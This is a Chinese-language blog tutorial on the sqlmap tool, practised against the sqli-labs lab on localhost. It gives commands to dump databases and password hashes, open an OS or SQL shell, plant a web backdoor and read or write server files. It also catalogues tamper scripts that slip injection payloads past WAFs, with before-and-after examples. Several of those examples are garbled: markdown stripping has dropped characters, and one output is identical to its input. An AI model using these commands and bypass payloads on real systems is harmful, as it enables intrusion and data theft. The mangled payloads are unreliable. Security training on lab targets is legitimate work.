sqlmap使用

以sqli-labs为例,php版本为5.3,我的高版本会出错

windows下,cmd命令中切换到sqlmap.py所在文件夹

一、基础

1.判断是否存在注入

假设目标注入点是http://localhost:81/sqli/Less-1/?id=11,判断其是否存在注入的命令如下所示。

sqlmap.py -u http://localhost:81/sqli/Less-1/?id=1

当注入点后的参数2个以上,需要加双引号

sqlmap.py -u "http://localhost:81/sqli/Less-1/?id=1&uid=2 "

2.判断文本中的请求是否存在注入

从文件中加载HTTP请求,SQLMap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie、POST数据等),txt文件中的内容为Web数据包

也就是bp抓包拦截的请求内容,保存为txt文件,之后

sqlmap.py –r desktop/1.txt //-r一般在存在cookie注入时使用

3.查询当前用户下的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库,如下所示。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有数据库

sqlmap.py -u http://localhost:81/sqli/Less-1/?id=1 --dbs

想查询xxx数据库下的表名时,–dbs缩写为 -D xxx

4.爆表

sqlmap.py -u http://localhost:81/sqli/Less-1/?id=1 -D security --tables

继续注入时,–tables缩写成-T

5.爆列

sqlmap.py -u http://localhost:81/sqli/Less-1/?id=1 -D security -T users --columns

后续的注入中,–columns缩写成-C

6.爆字段

sqlmap.py -u http://localhost:81/sqli/Less-1/?id=1 -D security -T users -C password,username --dump

7.获取数据库的所有用户

该命令的作用是列出数据库的所有用户,如下所示。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。

sqlmap.py ...?id=1 --users

8.获取数据库用户的密码

如果当前用户有读取包含用户密码的权限,SQLMap会先列举出用户,然后列出Hash,并尝试破解。

sqlmap.py -u...?id=1 --passwords

9.获取当前网站数据库的名称

-- current -db

10.获取当前网站数据库的用户名称

--current -user

二、进阶

1.–level 5:探测等级

参数–level 5指需要执行的测试等级,一共有5个等级(1~5),可不加level,默认是1。SQLMap使用的Payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的Payload,其中5级包含的Payload最多,会自动破解出cookie、XFF等头部注入。当然,level 5的运行速度也比较慢

这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试HTTP User-Agent/Referer头在level为3时就会测试。总之,在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值。

2.–is-dba:当前用户是否为管理权限

该命令用于查看当前账户是否为数据库管理员账户,如下所示,在本案例中输入该命令,会返回Ture,如图3-15所示。

sqlmap.py –u ... --is-dba//最后两个不要分开写

3.–roles:列出数据库管理员角色(oracle)

该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候。

4.–referer:HTTP Referer头

SQLMap可以在请求中伪造HTTP中的referer,当–level参数设定为3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗,如–referer http://www.baidu.com。

5.–sql-shell:运行自定义SQL语句

该命令用于执行指定的SQL语句,如下所示,假设执行select*from users limit 0,1语句,结果如图3-17所示。

sqlmap.py –u “http://192.168.1.7/sql/union.php?id=1"--sql-shell

然后在下一行填入即可。

6.–os-cmd,–os-shell:运行任意操作系统命令

在数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp_cmdshell存储过程,如果被禁用(在Microsoft SQL Server 2005及以上版本默认被禁制),则SQLMap会重新启用它;如果不存在,会自动创建。

用–os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。–os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是–is-dba的值要为True)。

7.–file-read:从数据库服务器中读取文件

该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

8.–file-write–file-dest:上传文件到数据库服务器中

该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。

三、tamper模块

官方提供53个绕过脚本

sqlmap.py XXXXX--tamper "模块名"

tamper格式

一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。

● priority定义脚本的优先级,用于有多个tamper脚本的情况。

● dependencies函数声明该脚本适用/不适用的范围,可以为空。

下面以一个转大写字符绕过的脚本为例,tamper绕过脚本主要由dependencies和tamper两个函数构成。def tamper(payload,kwargs)函数接收playload和kwargs返回一个Payload。下面这段代码的意思是通过正则匹配所有字符,将所有攻击载荷中的字符转换为大写字母。

对一些网站是否有安全防护(WAF/IDS/IPS)进行试探,可以使用参数**–identify-waf**进行检测

tamper脚本

常用的tamper脚本。

● apostrophemask.py

作用:将引号替换为UTF-8,用于过滤单引号。

使用脚本前的语句为:

1 AND’1’=’1

使用脚本后,语句为:

1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

● base64encode.py

作用:替换为base64编码。

使用脚本前的语句为:

1’ AND SLEEP(5)#

使用脚本后,语句为:

MScgQU5EIFNMRUVQKDUpIw==

● multiplespaces.py

作用:围绕SQL关键字添加多个空格。

使用脚本前的语句为:

1 UNION SELECT foobar

使用脚本后,语句为:

1 UNION SELECT foobar

● space2plus.py

作用:用+号替换空格。

使用脚本前的语句为:

SELECT id FROM users

使用脚本后,语句为:

SELECT+id+FROM+users

● nonrecursivereplacement.py

作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将SELECT替换为空)。

使用脚本前的语句为:

1 UNION SELECT 2-

使用脚本后,语句为:

1 UNIOUNIONN SELESELECTCT 2-

● space2randomblank.py

作用:将空格替换为其他有效字符。

使用脚本前的语句为:

SELECT id FROM users

使用脚本后,语句为:

SELECT%0Did%0DFROM%0Ausers

● unionalltounion.py

作用:将UNION ALL SELECT替换为UNION SELECT。

使用脚本前的语句为:

-1 UNION ALL SELECT

使用脚本后,语句为:

-1 UNION SELECT

● securesphere.py

作用:追加特制的字符串。

使用脚本前的语句为:

1 AND 1=1

使用脚本后,语句为:

1 AND 1=1 and’0having’=’0having’

● space2hash.py

作用:将空格替换为#号,并添加一个随机字符串和换行符。

使用脚本前的语句为:

1 AND 9227=9227

使用脚本后,语句为:

1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227

● space2mssqlblank.py(mssql)

作用:将空格替换为其他空符号。

使用脚本前的语句为:

SELECT id FROM users

使用脚本后,语句为:

SELECT%0Eid%0DFROM%07users

● space2mssqlhash.py

作用:将空格替换为#号,并添加一个换行符。

使用脚本前的语句为:

1 AND 9227=9227

使用脚本后,语句为:

1%23%0AAND%23%0A9227=9227

● between.py

作用:用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换等号(=)。

使用脚本前的语句为:

1 AND A > B-

使用脚本后,语句为:

1 AND A NOT BETWEEN 0 AND B-

使用脚本前的语句为:

1 AND A=B-

使用脚本后,语句为:

1 AND A BETWEEN B AND B-

● percentage.py

作用:ASP允许在每个字符前面添加一个%号。

使用脚本前的语句为:

SELECT FIELD FROM TABLE

使用脚本后,语句为:

%S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A% B%L%E

● sp_password.py

作用:从DBMS日志的自动模糊处理的有效载荷中追加sp_password。

使用脚本前的语句为:

1 AND 9227=9227-

使用脚本后,语句为:

1 AND 9227=9227–sp_password

● charencode.py

作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)。

使用脚本前的语句为:

SELECT FIELD FROM%20TABLE

使用脚本后,语句为:

%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

● randomcase.py

作用:随机大小写。

使用脚本前的语句为:

INSERT

使用脚本后,语句为:

InsERt

● charunicodeencode.py

作用:字符串unicode编码。

使用脚本前的语句为:

SELECT FIELD%20FROM TABLE

使用脚本后,语句为:

%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020 %u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

● space2comment.py

作用:将空格替换为/**/。

使用脚本前的语句为:

SELECT id FROM users

使用脚本后,语句为:

SELECT//id//FROM/**/users

● equaltolike.py

作用:将等号替换为like。

使用脚本前的语句为:

SELECT * FROM users WHERE id=1

使用脚本后,语句为:

SELECT * FROM users WHERE id LIKE 1

● greatest.py

作用:绕过对“>”的过滤,用GREATEST替换大于号。

使用脚本前的语句为:

1 AND A > B

使用脚本后,语句为:

1 AND GREATEST(A,B+1)=A

测试通过的数据库类型和版本:

● MySQL 4、MySQL 5.0和MySQL 5.5

● Oracle 10g

● PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0

● ifnull2ifisnull.py

作用:绕过对IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)。

使用脚本前的语句为:

IFNULL(1,2)

使用脚本后,语句为:

IF(ISNULL(1),2,1)

测试通过的数据库类型和版本为MySQL 5.0和MySQL 5.5。

● modsecurityversioned.py

作用:过滤空格,使用MySQL内联注释的方式进行注入。

使用脚本前的语句为:

1 AND 2>1-

使用脚本后,语句为:

1 /!30874AND 2>1/-

测试通过的数据库类型和版本为MySQL 5.0。

● space2mysqlblank.py

作用:将空格替换为其他空白符号(适用于MySQL)。

使用脚本前的语句为:

SELECT id FROM users

使用脚本后,语句为:

SELECT%A0id%0BFROM%0Cusers

测试通过的数据库类型和版本为MySQL 5.1。

● modsecurityzeroversioned.py

作用:使用MySQL内联注释的方式(/!00000/)进行注入。

使用脚本前的语句为:

1 AND 2>1-

使用脚本后,语句为:

1 /!00000AND 2>1/-

测试通过的数据库类型和版本为MySQL 5.0。

● space2mysqldash.py

作用:将空格替换为–,并添加一个换行符。

使用脚本前的语句为:

1 AND 9227=9227

使用脚本后,语句为:

1–%0AAND–%0A9227=9227

● bluecoat.py

作用:在SQL语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于号。

使用脚本前的语句为:

SELECT id FROM users where id=1

使用脚本后,语句为:

SELECT%09id FROM%09users WHERE%09id LIKE 1

测试通过的数据库类型和版本为MySQL 5.1和SGOS。

● versionedkeywords.py

作用:注释绕过。

使用脚本前的语句为:

UNION ALL SELECT NULL,NULL,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()AS CHAR),CHAR(32)),CH/**/AR(58,100,114,117,58))#

使用脚本后,语句为:

/!UNION**!ALL**!SELECT!NULL/,/!NULL/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#

● halfversionedmorekeywords.py

作用:当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释。

使用脚本前的语句为:

value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST (CURRENT_USER()AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL# AND ‘QDWa’=’QDWa

使用脚本后,语句为:

value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFN ULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,5 8)),/!0NULL,/!0NULL#/!0AND’QDWa’=’QDWa

测试通过的数据库类型和版本为MySQL 4.0.18和MySQL 5.0.22。

● space2morehash.py

作用:将空格替换为#号,并添加一个随机字符串和换行符。

使用脚本前的语句为:

1 AND 9227=9227

使用脚本后,语句为:

1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227

测试通过的数据库类型和版本为MySQL 5.1.41。

● apostrophenullencode.py

作用:用非法双字节unicode字符替换单引号。

使用脚本前的语句为:

1 AND’1’=’1

使用脚本后,语句为:

1 AND %00%271%00%27=%00%271

● appendnullbyte.py

作用:在有效负荷的结束位置加载零字节字符编码。

使用脚本前的语句为:

1 AND 1=1

使用脚本后,语句为:

1 AND 1=1%00

● chardoubleencode.py

作用:对给定的Payload全部字符使用双重URL编码(不处理已经编码的字符)。

使用脚本前的语句为:

SELECT FIELD FROM%20TABLE

使用脚本后,语句为:

%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%25 4f%254d%2520%2554%2541%2542%254c%2545

● unmagicquotes.py

作用:用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。

使用脚本前的语句为:

1’ AND 1=1

使用脚本后,语句为:

1%bf%27-

● randomcomments.py

作用:用/**/分割SQL关键字。

使用脚本前的语句为:

INSERT

使用脚本后,语句为:

IN/**/S/**/ERT

总结

所以平时要根据tamper规则自定义写,以面对复杂情况

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信